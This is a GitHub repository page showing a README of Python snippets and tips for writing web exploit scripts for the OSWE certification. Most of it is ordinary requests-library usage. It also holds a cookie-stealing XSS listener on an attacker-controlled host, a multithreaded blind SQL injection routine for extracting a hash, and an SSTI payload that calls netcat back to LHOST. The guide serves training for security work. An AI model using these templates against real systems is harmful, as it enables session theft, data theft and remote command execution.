https://github.com/rizemon/exploit-writing-for-oswe
Tips on how to write exploit scripts (faster!)
https://github.com/rizemon/exploit-writing-for-oswe
awae awae-prep cross-site-scripting oswe oswe-prep python python3 requests sql-injection sqli web-exploitation xss
Last synced: 25 days ago
JSON representation
Tips on how to write exploit scripts (faster!)
- Host: GitHub
- URL: https://github.com/rizemon/exploit-writing-for-oswe
- Owner: rizemon
- Created: 2023-02-23T02:27:30.000Z (about 2 years ago)
- Default Branch: main
- Last Pushed: 2024-07-15T08:02:32.000Z (10 months ago)
- Last Synced: 2025-03-29T01:05:28.114Z (about 1 month ago)
- Topics: awae, awae-prep, cross-site-scripting, oswe, oswe-prep, python, python3, requests, sql-injection, sqli, web-exploitation, xss
- Homepage:
- Size: 72.3 KB
- Stars: 473
- Watchers: 5
- Forks: 102
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Exploit Writing for OSWE
This repository contains a list of useful snippets and tips that pertain to the writing of exploit scripts in the OSWE labs and certification exam.
Some examples here may go against certain coding practices, but our end goal is to write the exploit script fast and correct.
> The [Code Snippets](#code-snippets) section is a great place to start if you are not experienced in using the `requests` library or are new to Python. Otherwise, feel free to skip to the [Reusable Code](#reusable-code) section or the [Tips](#tips) section.
* While there are many write-ups, reviews, and notes on the certification, few resources specifically focus on the process of writing exploits.
* Writing the exploit script can be daunting, especially for those who are new to Python or have little experience interacting with web applications through code.
* Time spent on identifying vulnerabilities and documenting an exam report can fluctuate considerably, but the time spent on developing the exploit script can be **minimized and kept constant** if mastered well.---
- [Exploit Writing for OSWE](#exploit-writing-for-oswe)
- [Background](#background)
- [What](#what)
- [Why](#why)
- [Table of Contents](#table-of-contents)
- [Code Snippets](#code-snippets)
- [Starting Template](#starting-template)
- [Useful imports](#useful-imports)
- [Using the `requests` library](#using-the-requests-library)
- [Sending the simplest HTTP request](#sending-the-simplest-http-request)
- [Specifying different HTTP methods](#specifying-different-http-methods)
- [Reading the HTTP response](#reading-the-http-response)
- [Sending data as a query string in the URL (Using `params` argument)](#sending-data-as-a-query-string-in-the-url-using-params-argument)
- [Sending data as a query string in the body (Using `data` argument)](#sending-data-as-a-query-string-in-the-body-using-data-argument)
- [Sending data as a JSON in the body (Using `json` argument)](#sending-data-as-a-json-in-the-body-using-json-argument)
- [Sending a file in the body (Using `files` argument)](#sending-a-file-in-the-body-using-files-argument)
- [Setting HTTP headers (Using `headers` argument)](#setting-http-headers-using-headers-argument)
- [Setting HTTP cookies (Using `cookies` argument)](#setting-http-cookies-using-cookies-argument)
- [Disabling following of `3XX` redirects (Using `allow_redirects` argument)](#disabling-following-of-3xx-redirects-using-allow_redirects-argument)
- [Interacting with an unverified HTTPS server (Using `verify` argument)](#interacting-with-an-unverified-https-server-using-verify-argument)
- [Sending request through a HTTP proxy (Using `proxies` argument)](#sending-request-through-a-http-proxy-using-proxies-argument)
- [Creating a `Session`](#creating-a-session)
- [Setting persistent cookies](#setting-persistent-cookies)
- [Setting persistent headers](#setting-persistent-headers)
- [Troubleshooting](#troubleshooting)
- [Use Wireshark and filter for HTTP requests](#use-wireshark-and-filter-for-http-requests)
- [Print contents of the HTTP request](#print-contents-of-the-http-request)
- [Proxy HTTP request through Burp Suite and inspect](#proxy-http-request-through-burp-suite-and-inspect)
- [Reusable code](#reusable-code)
- [Serving files via HTTP](#serving-files-via-http)
- [Stealing HTTP cookies](#stealing-http-cookies)
- [Speeding up SQL injections](#speeding-up-sql-injections)
- [Tips](#tips)
- [Perform a sanity check after every HTTP request using `assert`](#perform-a-sanity-check-after-every-http-request-using-assert)
- [Print meaning messages after each step](#print-meaning-messages-after-each-step)
- [Separate each exploitation step into its own function](#separate-each-exploitation-step-into-its-own-function)
- [Create a global `Session` object so it does not need to be explictly passed to each function call](#create-a-global-session-object-so-it-does-not-need-to-be-explictly-passed-to-each-function-call)
- [Create a global `BASE_URL` string and construct the required URLs from it](#create-a-global-base_url-string-and-construct-the-required-urls-from-it)
- [To force all HTTP requests to go through Burp Suite without the use of the `proxies` argument , set the `HTTP_PROXY` / `HTTPS_PROXY` environment variable when running](#to-force-all-http-requests-to-go-through-burp-suite-without-the-use-of-the-proxies-argument--set-the-http_proxy--https_proxy-environment-variable-when-running)
- [Apply encoding/decoding scheme(s) to enable safe transmission of payloads](#apply-encodingdecoding-schemes-to-enable-safe-transmission-of-payloads)
- [Use `"""` to create the payload string if it contains both single (`'`) and double quotes (`"`)](#use--to-create-the-payload-string-if-it-contains-both-single--and-double-quotes-)
- [Speed up SQL injections using multithreading](#speed-up-sql-injections-using-multithreading)
- [Hardcode an authenticated user's cookie when developing exploits for authenticated features](#hardcode-an-authenticated-users-cookie-when-developing-exploits-for-authenticated-features)
- [Avoid using f-strings (`f""`) or `str.format` if the payload contains too many curly braces (`{}`)](#avoid-using-f-strings-f-or-strformat-if-the-payload-contains-too-many-curly-braces-)---
```python
import requestsdef main():
print("Hello World!")if __name__ == __main__:
main()
``````python
# For sending HTTP requests
import requests# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode# For getting current time or for calculating time delays
from time import time# For regular expressions
import re# For running shell commands
import subprocess# For multithreading
from concurrent.futures import ThreadPoolExecutor# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler# For parsing HTTP cookies
from http import cookies# For getting command-line arguments
import sys
```### Using the `requests` library
#### Sending the simplest HTTP request
```python
resp_obj = requests.get("https://github.com")
```#### Specifying different HTTP methods
```python
# GET method
requests.get("https://github.com")# POST method
requests.post("https://github.com")# PUT method
requests.put("https://github.com")# PATCH method
requests.patch("https://github.com")# DELETE method
requests.delete("https://github.com")
```#### Reading the HTTP response
```python
resp_obj = requests.get("https://github.com")# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]# Body as bytes
resp_obj.content# Body as a string
resp_obj.text# Body as a dictionary (if body is a JSON)
resp_obj.json()
```#### Sending data as a query string in the URL (Using `params` argument)
```python
params = {
"foo": "bar"
}requests.get("https://github.com", params=params)
```#### Sending data as a query string in the body (Using `data` argument)
```python
data = {
"foo": "bar"
}requests.post("https://github.com", data=data)
```#### Sending data as a JSON in the body (Using `json` argument)
```python
data = {
"foo": "bar"
}requests.post("https://github.com", json=data)
```#### Sending a file in the body (Using `files` argument)
```python
files = {
# (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
"uploaded_file": ("phpinfo.php", b"", "application/x-httpd-php")
}requests.post("https://github.com", files=files)
```#### Setting HTTP headers (Using `headers` argument)
```python
headers = {
"X-Forwarded-For": "127.0.0.1"
}requests.get("https://github.com", headers=headers)
```#### Setting HTTP cookies (Using `cookies` argument)
```python
cookies = {
"PHPSESSID": "fakesession"
}requests.get("https://github.com", cookies=cookies)
```#### Disabling following of `3XX` redirects (Using `allow_redirects` argument)
```python
requests.post("https://github.com/login", allow_redirects=False)
```#### Interacting with an unverified HTTPS server (Using `verify` argument)
```python
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)requests.get("https://github.com", verify=False)
```#### Sending request through a HTTP proxy (Using `proxies` argument)
```python
proxies = {
"HTTP": "http://127.0.0.1:8080",
"HTTPS": "http://127.0.0.1:8080"
}requests.get("https://github.com", proxies=proxies)
``````python
session = requests.Session()
session.get("https://github.com")
```#### Setting persistent cookies
```python
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})
```#### Setting persistent headers
```python
session = requests.Session()
session.headers["Authorization"] = "Basic 123"
```#### Use Wireshark and filter for HTTP requests
1) Open Wireshark
2) Select the VPN interface (e.g `tun0`)
3) Enter `http` into the filter bar.#### Print contents of the HTTP request
```python
data = {
"foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.requestprint("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)
```#### Proxy HTTP request through Burp Suite and inspect
1) Open Burp Suite
2) Navigate to "Proxy" Tab and set "Intercept" to "On".```python
LHOST = "10.0.0.1"
WEB_PORT = 8000
JS_PAYLOAD = "alert(1)"def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
# Uncomment this method to suppress HTTP logs
# def log_message(self, format, *args):
# returndef do_GET(self):
if self.path.endswith('/payload.js'):
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Content-Length", str(len(JS_PAYLOAD)))
self.end_headers()
self.wfile.write(JS_PAYLOAD.encode())
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()start_web_server()
``````python
LHOST = "10.0.0.1"
WEB_PORT = 8000requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookiedef send_xss_payload():
passdef start_web_server():
class MyHandler(BaseHTTPRequestHandler):def do_GET(self):
self.send_response(200)
self.end_headers()# Load stolen cookie into session
_, enc_cookie = self.path.split("/?cookie=", 1)
plain_cookie = urlsafe_b64decode(enc_cookie).decode()
session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]xss_event.set() # Trigger the event
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])
```#### Speeding up SQL injections
```python
MAX_WORKERS = 20
HASH_LENGTH = 32def exfiltrate_hash():
def boolean_sqli(arguments):
idx, ascii_val = arguments
# ...
# Perform SQLi and store boolean outcome into truth
# ...
return ascii_val, truthresult = ""
# Go through each character position
for idx in range(HASH_LENGTH):# Use MAX_WORKERS threads to test possible ASCII values in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
# Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])# Go through each response and determine which ASCII value is correct
for ascii_val, truth in responses:
if truth:
result += chr(ascii_val)
break
return resulthash = exfiltrate_hash()
```---
### Perform a sanity check after every HTTP request using `assert`
* Catch whether a webshell is indeed uploaded before attempting to trigger it
* Catch whether authentication is sucessful before exploiting authenticated featuresExample:
```python
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"
```### Print meaning messages after each step
* Action being started/finished OR
* Cookies/tokens/files/values that were retrievedExample:
```
[+] Parsed command-line arguments and got:
* BASE_URL: http://example.com
* LHOST: 127.0.0.1
* LPORT: 1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN
```### Separate each exploitation step into its own function
Example:
```python
def register():
passdef login():
passdef rce():
pass
```### Create a global `Session` object so it does not need to be explictly passed to each function call
```python
session = requests.Session()def login():
session.post(...)def rce():
session.post(...)
```### Create a global `BASE_URL` string and construct the required URLs from it
```python
BASE_URL = ""
session = requests.Session()def login():
url = BASE_URL + "/login"
session.post(url, ...)def rce():
url = BASE_URL + "/rce"
session.post(url, ...)def main():
# Allow BASE_URL to be modified
global BASE_URL
BASE_URL = sys.argv[1]
...
```### To force all HTTP requests to go through Burp Suite without the use of the `proxies` argument , set the `HTTP_PROXY` / `HTTPS_PROXY` environment variable when running
```bash
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py
```### Apply encoding/decoding scheme(s) to enable safe transmission of payloads
* Base64
* Hexadecimal### Use `"""` to create the payload string if it contains both single (`'`) and double quotes (`"`)
Example:
```python
payload = """This is a '. This is a "."""
```### Speed up SQL injections using multithreading
See [Speed up SQL Injections](#speeding-up-sql-injections).
### Hardcode an authenticated user's cookie when developing exploits for authenticated features
Especially if a lot of time-consuming steps had to be done to obtain an authenticated session
Example:
```python
session = requests.Session()def main():
# Skipping these for now...
# register()
# login()# TODO: Delete this line after you are
# done developing and uncomment the above steps!
session.cookies["JSESSIONID"] = "ADMIN_COOKIE"# Exploit authenticated features...
...
```### Avoid using f-strings (`f""`) or `str.format` if the payload contains too many curly braces (`{}`)
Doubling each curly brace just to escape them can be troublesome and error-prone. Instead use simple placeholders and do a `.replace()`!
Example:
```python
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc ') }}"\
.replace("", LHOST)\
.replace("", LPORT)
```